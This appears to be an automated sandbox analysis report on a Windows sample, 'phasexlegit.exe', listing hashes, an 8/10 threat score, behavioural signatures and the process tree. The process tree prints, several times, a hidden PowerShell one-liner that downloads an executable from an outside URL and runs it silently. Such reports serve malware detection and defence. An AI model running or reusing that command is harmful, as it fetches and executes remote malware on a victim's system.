Analysis
- max time kernel
148s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
15/08/2026, 05:38
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
phasexlegit.exe
Resource
win10v2004-20260513-en
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
phasexlegit.exe
Resource
win11ltsc2024-20260709-en
6 signatures
150 seconds
General
- Target phasexlegit.exe
- Size 723KB
- Sample260815-gb5adazdnd
- SHA256 66d182877d1c72d47c2dc1f68849b13cbaa906b597c17245e2f2d2943b2c80c2
- MD5 4c31237b15a3976cc05d4a1ce7cce507
- SHA1 c87b5b3ba56d54ac8c5313c4ce6cb5b634a614bb
- SHA512 fcd6b30f3a04a4718d49b72ffde6d49ce5a3b8db40962efc39595f3fe6ee15abfaf2df362f26123a1ef174b2850f50965c475d276a98a59b50ff8831dc7c51cc
- SSDEEP 12288:WgWCN5q9sj/XBVqr1Xyg4yjvhjTu0JfWHMquJDKWejJNjclv0bsUy0:Aiq9srXy7vLN3fWHMquJDKWejPjct0bN
- TLSH T1E9F42A3EAB5401B8D067C1B8DB978413FF71784B43359AFB0791B9621F265E4AA3EB10
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 7 3760 powershell.exe 10 3760 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3760 powershell.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4264 cmd.exe 2524 cmd.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3760 powershell.exe 3760 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3760 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3452 wrote to memory of 4264 3452 phasexlegit.exe 90 PID 4264 wrote to memory of 2524 4264 cmd.exe 91 PID 2524 wrote to memory of 3760 2524 cmd.exe 94
Processes
-
C:\Users\Admin\AppData\Local\Temp\phasexlegit.exe"C:\Users\Admin\AppData\Local\Temp\phasexlegit.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3452 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK555685.exe; Start-Process -FilePath $env:TEMP\BK555685.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4264 -
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK555685.exe; Start-Process -FilePath $env:TEMP\BK555685.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2524 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK555685.exe; Start-Process -FilePath $env:TEMP\BK555685.exe -WindowStyle Hidden }"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3760
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